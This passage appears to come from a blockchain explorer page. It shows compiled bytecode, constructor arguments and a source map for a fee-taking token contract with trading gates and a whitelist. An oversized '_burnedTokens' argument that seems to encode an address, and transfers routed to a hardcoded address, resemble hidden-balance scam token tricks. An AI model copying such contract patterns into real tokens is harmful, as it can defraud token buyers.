9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e329190612f61565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611ea25750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611ed15750600b5f9054906101000a900460ff16158015611ed05750600b60019054906101000a900460ff165b5b80611f925750600b5f9054906101000a900460ff168015611f385750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611f91575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611ff6575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611ff557505f600a54145b5b612035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202c90613258565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561207e575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036120b5575f80fd5b6121058360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506121968360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122349190612f61565b60405180910390a3600191505092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806122ee5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061231d5750600b5f9054906101000a900460ff1615801561231c5750600b60019054906101000a900460ff165b5b806123de5750600b5f9054906101000a900460ff1680156123845750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156123dd575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80612442575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561244157505f600a54145b5b612481576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247890613258565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015612501576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f8906135be565b60405180910390fd5b600b60019054906101000a900460ff1615612901575f808390505f600a54118015612579575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156125cc5750600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612611576125f960646125eb600a5487612be590919063ffffffff16565b612c5c90919063ffffffff16565b915061260e8285612cb390919063ffffffff16565b90505b6126618460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506127138160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516127f39190612f61565b60405180910390a35f8211156128fa576128538260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128f19190612f61565b60405180910390a35b5050612aec565b6129518260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612a038260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ae39190612f61565b60405180910390a35b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612b27575f80fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612bf5575f9050612c56565b5f8284612c029190613609565b9050828482612c119190613677565b14612c51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c48906136f1565b60405180910390fd5b809150505b92915050565b5f808211612c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c96906136f1565b60405180910390fd5b8183612cab9190613677565b905092915050565b5f82821115612cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cee906136f1565b60405180910390fd5b8183612d03919061370f565b905092915050565b5f808284612d199190613742565b905083811015612d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d55906136f1565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612d9f578082015181840152602081019050612d84565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612dc482612d68565b612dce8185612d72565b9350612dde818560208601612d82565b612de781612daa565b840191505092915050565b5f6020820190508181035f830152612e0a8184612dba565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612e3f82612e16565b9050919050565b612e4f81612e35565b8114612e59575f80fd5b50565b5f81359050612e6a81612e46565b92915050565b5f819050919050565b612e8281612e70565b8114612e8c575f80fd5b50565b5f81359050612e9d81612e79565b92915050565b5f8060408385031215612eb957612eb8612e12565b5b5f612ec685828601612e5c565b9250506020612ed785828601612e8f565b9150509250929050565b5f8115159050919050565b612ef581612ee1565b82525050565b5f602082019050612f0e5f830184612eec565b92915050565b5f8060408385031215612f2a57612f29612e12565b5b5f612f3785828601612e8f565b9250506020612f4885828601612e8f565b9150509250929050565b612f5b81612e70565b82525050565b5f602082019050612f745f830184612f52565b92915050565b5f805f60608486031215612f9157612f90612e12565b5b5f612f9e86828701612e5c565b9350506020612faf86828701612e5c565b9250506040612fc086828701612e8f565b9150509250925092565b5f60ff82169050919050565b612fdf81612fca565b82525050565b5f602082019050612ff85f830184612fd6565b92915050565b5f6020828403121561301357613012612e12565b5b5f61302084828501612e5c565b91505092915050565b61303281612e35565b82525050565b5f60208201905061304b5f830184613029565b92915050565b5f806040838503121561306757613066612e12565b5b5f61307485828601612e5c565b925050602061308585828601612e5c565b9150509250929050565b5f602082840312156130a4576130a3612e12565b5b5f6130b184828501612e8f565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806130fe57607f821691505b602082108103613111576131106130ba565b5b50919050565b7f5a65726f206665657320666f72657665720000000000000000000000000000005f82015250565b5f61314b601183612d72565b915061315682613117565b602082019050919050565b5f6020820190508181035f8301526131788161313f565b9050919050565b7f5a65726f000000000000000000000000000000000000000000000000000000005f82015250565b5f6131b3600483612d72565b91506131be8261317f565b602082019050919050565b5f6020820190508181035f8301526131e0816131a7565b9050919050565b5f6040820190506131fa5f830185612f52565b6132076020830184612f52565b9392505050565b7f5a65726f206665657320666f72657665722e00000000000000000000000000005f82015250565b5f613242601283612d72565b915061324d8261320e565b602082019050919050565b5f6020820190508181035f83015261326f81613236565b9050919050565b7f416d6f756e7420686967686572207a65726f00000000000000000000000000005f82015250565b5f6132aa601283612d72565b91506132b582613276565b602082019050919050565b5f6020820190508181035f8301526132d78161329e565b9050919050565b7f47726561746572207468616e207a65726f0000000000000000000000000000005f82015250565b5f613312601183612d72565b915061331d826132de565b602082019050919050565b5f6020820190508181035f83015261333f81613306565b9050919050565b7f486967686572207468616e205a65726f000000000000000000000000000000005f82015250565b5f61337a601083612d72565b915061338582613346565b602082019050919050565b5f6020820190508181035f8301526133a78161336e565b9050919050565b7f5a65726f20666f726576657200000000000000000000000000000000000000005f82015250565b5f6133e2600c83612d72565b91506133ed826133ae565b602082019050919050565b5f6020820190508181035f83015261340f816133d6565b9050919050565b7f4e6f20696e707574206e656564656400000000000000000000000000000000005f82015250565b5f61344a600f83612d72565b915061345582613416565b602082019050919050565b5f6020820190508181035f8301526134778161343e565b9050919050565b7f476f6e6520666f726576657200000000000000000000000000000000000000005f82015250565b5f6134b2600c83612d72565b91506134bd8261347e565b602082019050919050565b5f6020820190508181035f8301526134df816134a6565b9050919050565b7f4d757374206265206120686967686572206e756d626572207468616e207a65725f8201527f6f00000000000000000000000000000000000000000000000000000000000000602082015250565b5f613540602183612d72565b915061354b826134e6565b604082019050919050565b5f6020820190508181035f83015261356d81613534565b9050919050565b7f4e6f7420656e6f7567682066756e6473000000000000000000000000000000005f82015250565b5f6135a8601083612d72565b91506135b382613574565b602082019050919050565b5f6020820190508181035f8301526135d58161359c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61361382612e70565b915061361e83612e70565b925082820261362c81612e70565b91508282048414831517613643576136426135dc565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61368182612e70565b915061368c83612e70565b92508261369c5761369b61364a565b5b828204905092915050565b7f4e6f74206e6565646564000000000000000000000000000000000000000000005f82015250565b5f6136db600a83612d72565b91506136e6826136a7565b602082019050919050565b5f6020820190508181035f830152613708816136cf565b9050919050565b5f61371982612e70565b915061372483612e70565b925082820390508181111561373c5761373b6135dc565b5b92915050565b5f61374c82612e70565b915061375783612e70565b925082820190508082111561376f5761376e6135dc565b5b9291505056fea2646970667358221220285d7da39277f55cdb9a91e839324f12bf4449d5cc66d722af966f233a9e0e9c64736f6c63430008150033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000e8b1da05a6c0beaa9f78aa2d5ec7025b1e9ef7c900000025179157c93ec73e23fa32aa4f9d3bda934d8ee69fffffffffffffffff

-----Decoded View---------------
Arg [0] : _swapRouter (address): 0xE8B1Da05a6C0bEAa9F78aA2D5EC7025b1E9ef7c9
Arg [1] : _burnedTokens (uint256): 999999999999999999999999999999999999999999999999999999999999999999999

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 000000000000000000000000e8b1da05a6c0beaa9f78aa2d5ec7025b1e9ef7c9
Arg [1] : 00000025179157c93ec73e23fa32aa4f9d3bda934d8ee69fffffffffffffffff


Deployed Bytecode Sourcemap

4197:8750:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4297:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6998:268;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10144:487;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4395:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7295:1906;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4953:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4907:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4466;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5107:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9665:458;;;;;;;;;;;;;:::i;:::-;;4862:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4796:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5051:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4531:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9477:167;;;;;;;;;;;;;:::i;:::-;;4711:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4345:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5000:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10652:958;;;:::i;:::-;;6494:475;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4751:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4595:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11631:1313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9222:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4297:28;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6998:268::-;7065:12;7137:6;7103:9;:21;7113:10;7103:21;;;;;;;;;;;;;;;:31;7125:8;7103:31;;;;;;;;;;;;;;;:40;;;;7193:8;7172:38;;7181:10;7172:38;;;7203:6;7172:38;;;;;;:::i;:::-;;;;;;;;7241:4;7234:11;;6998:268;;;;:::o;10144:487::-;10240:7;;;;;;;;;;;10239:8;10231:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;10314:1;10301:9;:14;10293:31;;;;;;;;;;;;:::i;:::-;;;;;;;;;10370:2;10356:10;:16;10348:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;10414:9;10405:6;:18;;;;10457:10;10447:7;:20;;;;10501:4;10491:7;;:14;;;;;;;;;;;;;;;;;;10543:4;10529:11;;:18;;;;;;;;;;;;;;;;;;10576:34;10588:9;10599:10;10576:34;;;;;;;:::i;:::-;;;;;;;;10144:487;;:::o;4395:51::-;;;;:::o;7295:1906::-;7395:12;7379:5;6215:17;;;;;;;;;;;:40;;;;6236:11;:19;6248:6;6236:19;;;;;;;;;;;;;;;;;;;;;;;;;6215:40;:69;;;;6261:7;;;;;;;;;;;6260:8;:23;;;;;6272:11;;;;;;;;;;;6260:23;6215:69;:129;;;;6289:7;;;;;;;;;;;:30;;;;;6300:11;:19;6312:6;6300:19;;;;;;;;;;;;;;;;;;;;;;;;;6289:30;:54;;;;;6333:10;;;;;;;;;;;6323:20;;:6;:20;;;;6289:54;6215:129;:171;;;;6359:10;;;;;;;;;;;6349:20;;:6;:20;;;:36;;;;;6384:1;6373:7;;:12;6349:36;6215:171;6193:252;;;;;;;;;;;;:::i;:::-;;;;;;;;;7461:7:::1;7441:9;:16;7451:5;7441:16;;;;;;;;;;;;;;;;:27;;7433:58;;;;;;;;;;;;:::i;:::-;;;;;;;;;7555:7;7523:9;:16;7533:5;7523:16;;;;;;;;;;;;;;;:28;7540:10;7523:28;;;;;;;;;;;;;;;;:39;;7515:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;7631:1;7616:17;;:3;:17;;::::0;7608:46:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;7693:11;7732:22:::0;7757:7:::1;7732:32;;7807:11;;;;;;;;;;;:26;;;;;7832:1;7822:7;;:11;7807:26;:49;;;;;7846:10;;;;;;;;;;;7837:19;;:5;:19;;;;7807:49;:72;;;;;7861:11;:18;7873:5;7861:18;;;;;;;;;;;;;;;;;;;;;;;;;7860:19;7807:72;7803:227;;;7915:29;7940:3;7915:20;7927:7;;7915;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;7909:35;;7989:16;8001:3;7989:7;:11;;:16;;;;:::i;:::-;7972:33;;7803:227;8074:29;8095:7;8074:9;:16;8084:5;8074:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;8055:9;:16;8065:5;8055:16;;;;;;;;;;;;;;;:48;;;;8144:34;8163:14;8144:9;:14;8154:3;8144:14;;;;;;;;;;;;;;;;:18;;:34;;;;:::i;:::-;8127:9;:14;8137:3;8127:14;;;;;;;;;;;;;;;:51;;;;8223:3;8207:36;;8216:5;8207:36;;;8228:14;8207:36;;;;;;:::i;:::-;;;;;;;;8292:1;8286:3;:7;8282:557;;;8310:23;8344:42;8310:77;;8426:15;8419:22;;:3;:22;;::::0;8415:413:::1;;8504:35;8535:3;8504:9;:26;8514:15;8504:26;;;;;;;;;;;;;;;;:30;;:35;;;;:::i;:::-;8475:9;:26;8485:15;8475:26;;;;;;;;;;;;;;;:64;;;;8592:15;8576:37;;8585:5;8576:37;;;8609:3;8576:37;;;;;;:::i;:::-;;;;;;;;8415:413;;;8694:33;8723:3;8694:9;:24;8712:4;8694:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;8667:9;:24;8685:4;8667:24;;;;;;;;;;;;;;;:60;;;;8788:4;8764:35;;8773:5;8764:35;;;8795:3;8764:35;;;;;;:::i;:::-;;;;;;;;8415:413;8295:544;8282:557;8877:10;8868:19;;:5;:19;;;;:72;;;;;8923:17;8891:9;:16;8901:5;8891:16;;;;;;;;;;;;;;;:28;8908:10;8891:28;;;;;;;;;;;;;;;;:49;;8868:72;8864:293;;;9001:41;9034:7;9001:9;:16;9011:5;9001:16;;;;;;;;;;;;;;;:28;9018:10;9001:28;;;;;;;;;;;;;;;;:32;;:41;;;;:::i;:::-;8970:9;:16;8980:5;8970:16;;;;;;;;;;;;;;;:28;8987:10;8970:28;;;;;;;;;;;;;;;:72;;;;9091:10;9075:57;;9084:5;9075:57;;;9103:9;:16;9113:5;9103:16;;;;;;;;;;;;;;;:28;9120:10;9103:28;;;;;;;;;;;;;;;;9075:57;;;;;;:::i;:::-;;;;;;;;8864:293;9189:4;9182:11;;;;7295:1906:::0;;;;;;:::o;4953:27::-;;;;;;;;;;;;;:::o;4907:26::-;;;;:::o;4466:::-;;;;;;;;;;;;;:::o;5107:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;9665:458::-;9720:7;;;;;;;;;;;9712:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;9798:1;9776:24;;:10;;;;;;;;;;;:24;;;9768:52;;;;;;;;;;;;:::i;:::-;;;;;;;;;9867:1;9852:12;;:16;9844:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;9925:29;9941:12;;9925:11;;:15;;:29;;;;:::i;:::-;9911:11;:43;;;;10002:39;10028:12;;10002:9;:21;10012:10;;;;;;;;;;;10002:21;;;;;;;;;;;;;;;;:25;;:39;;;;:::i;:::-;9978:9;:21;9988:10;;;;;;;;;;;9978:21;;;;;;;;;;;;;;;:63;;;;10077:10;;;;;;;;;;;10072:30;;;10089:12;;10072:30;;;;;;:::i;:::-;;;;;;;;9665:458::o;4862:25::-;;;;:::o;4796:27::-;;;;:::o;5051:36::-;;;;;;;;;;;;;:::o;4531:44::-;;;;;;;;;;;;;;;;;:::o;9477:167::-;9578:1;9542:39;;9563:5;;;;;;;;;;;9542:39;;;;;;;;;;;;9621:1;9605:5;;:18;;;;;;;;;;;;;;;;;;9477:167::o;4711:20::-;;;;;;;;;;;;;:::o;4345:30::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5000:31::-;;;;;;;;;;;;;:::o;10652:958::-;10692:10;6215:17;;;;;;;;;;;:40;;;;6236:11;:19;6248:6;6236:19;;;;;;;;;;;;;;;;;;;;;;;;;6215:40;:69;;;;6261:7;;;;;;;;;;;6260:8;:23;;;;;6272:11;;;;;;;;;;;6260:23;6215:69;:129;;;;6289:7;;;;;;;;;;;:30;;;;;6300:11;:19;6312:6;6300:19;;;;;;;;;;;;;;;;;;;;;;;;;6289:30;:54;;;;;6333:10;;;;;;;;;;;6323:20;;:6;:20;;;;6289:54;6215:129;:171;;;;6359:10;;;;;;;;;;;6349:20;;:6;:20;;;:36;;;;;6384:1;6373:7;;:12;6349:36;6215:171;6193:252;;;;;;;;;;;;:::i;:::-;;;;;;;;;10748:1:::1;10736:9;:13;10728:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;10813:14;10830:9;10813:26;;10876:1;10867:6;;:10;10863:740;;;10894:11;10908:27;10931:3;10908:18;10919:6;;10908;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;10894:41;;10963:22;10988:15;10999:3;10988:6;:10;;:15;;;;:::i;:::-;10963:40;;11057:41;11083:14;11057:9;:21;11067:10;;;;;;;;;;;11057:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;11033:9;:21;11043:10;;;;;;;;;;;11033:21;;;;;;;;;;;;;;;:65;;;;11155:10;;;;;;;;;;;11131:51;;11148:4;11131:51;;;11167:14;11131:51;;;;;;:::i;:::-;;;;;;;;11222:1;11216:3;:7;11212:201;;;11271:33;11300:3;11271:9;:24;11289:4;11271:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;11244:9;:24;11262:4;11244:24;;;;;;;;;;;;;;;:60;;;;11373:4;11341:43;;11358:4;11341:43;;;11380:3;11341:43;;;;;;:::i;:::-;;;;;;;;11212:201;10879:545;;10863:740;;;11469:33;11495:6;11469:9;:21;11479:10;;;;;;;;;;;11469:21;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;11445:9;:21;11455:10;;;;;;;;;;;11445:21;;;;;;;;;;;;;;;:57;;;;11559:10;;;;;;;;;;;11535:43;;11552:4;11535:43;;;11571:6;11535:43;;;;;;:::i;:::-;;;;;;;;10863:740;10704:906;10652:958:::0;:::o;6494:475::-;6580:12;6559:10;6215:17;;;;;;;;;;;:40;;;;6236:11;:19;6248:6;6236:19;;;;;;;;;;;;;;;;;;;;;;;;;6215:40;:69;;;;6261:7;;;;;;;;;;;6260:8;:23;;;;;6272:11;;;;;;;;;;;6260:23;6215:69;:129;;;;6289:7;;;;;;;;;;;:30;;;;;6300:11;:19;6312:6;6300:19;;;;;;;;;;;;;;;;;;;;;;;;;6289:30;:54;;;;;6333:10;;;;;;;;;;;6323:20;;:6;:20;;;;6289:54;6215:129;:171;;;;6359:10;;;;;;;;;;;6349:20;;:6;:20;;;:36;;;;;6384:1;6373:7;;:12;6349:36;6215:171;6193:252;;;;;;;;;;;;:::i;:::-;;;;;;;;;6651:7:::1;6626:9;:21;6636:10;6626:21;;;;;;;;;;;;;;;;:32;;6618:41;;;::::0;::::1;;6706:1;6691:17;;:3;:17;;::::0;6683:26:::1;;;::::0;::::1;;6759:34;6785:7;6759:9;:21;6769:10;6759:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;6735:9;:21;6745:10;6735:21;;;;;;;;;;;;;;;:58;;;;6834:27;6853:7;6834:9;:14;6844:3;6834:14;;;;;;;;;;;;;;;;:18;;:27;;;;:::i;:::-;6817:9;:14;6827:3;6817:14;;;;;;;;;;;;;;;:44;;;;6911:3;6890:34;;6899:10;6890:34;;;6916:7;6890:34;;;;;;:::i;:::-;;;;;;;;6957:4;6950:11;;6494:475:::0;;;;;:::o;4751:25::-;;;;;;;;;;;;;:::o;4595:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;11631:1313::-;11679:10;6215:17;;;;;;;;;;;:40;;;;6236:11;:19;6248:6;6236:19;;;;;;;;;;;;;;;;;;;;;;;;;6215:40;:69;;;;6261:7;;;;;;;;;;;6260:8;:23;;;;;6272:11;;;;;;;;;;;6260:23;6215:69;:129;;;;6289:7;;;;;;;;;;;:30;;;;;6300:11;:19;6312:6;6300:19;;;;;;;;;;;;;;;;;;;;;;;;;6289:30;:54;;;;;6333:10;;;;;;;;;;;6323:20;;:6;:20;;;;6289:54;6215:129;:171;;;;6359:10;;;;;;;;;;;6349:20;;:6;:20;;;:36;;;;;6384:1;6373:7;;:12;6349:36;6215:171;6193:252;;;;;;;;;;;;:::i;:::-;;;;;;;;;11748:7:::1;11723:9;:21;11733:10;11723:21;;;;;;;;;;;;;;;;:32;;11715:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;11806:11;;;;;;;;;;;11802:1135;;;11847:11;11890:22:::0;11915:7:::1;11890:32;;11966:1;11956:7;;:11;:39;;;;;11985:10;;;;;;;;;;;11971:24;;:10;:24;;;;11956:39;:67;;;;;12000:11;:23;12012:10;12000:23;;;;;;;;;;;;;;;;;;;;;;;;;11999:24;11956:67;11952:234;;;12063:29;12088:3;12063:20;12075:7;;12063;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;12057:35;;12141:16;12153:3;12141:7;:11;;:16;;;;:::i;:::-;12124:33;;11952:234;12226:34;12252:7;12226:9;:21;12236:10;12226:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;12202:9;:21;12212:10;12202:21;;;;;;;;;;;;;;;:58;;;;12312:41;12338:14;12312:9;:21;12322:10;;;;;;;;;;;12312:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;12288:9;:21;12298:10;;;;;;;;;;;12288:21;;;;;;;;;;;;;;;:65;;;;12407:10;;;;;;;;;;;12386:48;;12395:10;12386:48;;;12419:14;12386:48;;;;;;:::i;:::-;;;;;;;;12474:1;12468:3;:7;12464:198;;;12523:33;12552:3;12523:9;:24;12541:4;12523:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;12496:9;:24;12514:4;12496:24;;;;;;;;;;;;;;;:60;;;;12622:4;12593:40;;12602:10;12593:40;;;12629:3;12593:40;;;;;;:::i;:::-;;;;;;;;12464:198;11819:854;;11802:1135;;;12718:34;12744:7;12718:9;:21;12728:10;12718:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;12694:9;:21;12704:10;12694:21;;;;;;;;;;;;;;;:58;;;;12804:34;12830:7;12804:9;:21;12814:10;;;;;;;;;;;12804:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;12780:9;:21;12790:10;;;;;;;;;;;12780:21;;;;;;;;;;;;;;;:58;;;;12892:10;;;;;;;;;;;12871:41;;12880:10;12871:41;;;12904:7;12871:41;;;;;;:::i;:::-;;;;;;;;11802:1135;11631:1313:::0;;:::o;9222:234::-;9326:1;9306:22;;:8;:22;;;9298:31;;;;;;9386:8;9358:37;;9379:5;;;;;;;;;;;9358:37;;;;;;;;;;;;9427:8;9419:5;;:16;;;;;;;;;;;;;;;;;;9222:234;:::o;3784:223::-;3842:7;3871:1;3866;:6;3862:47;;3896:1;3889:8;;;;3862:47;3919:9;3935:1;3931;:5;;;;:::i;:::-;39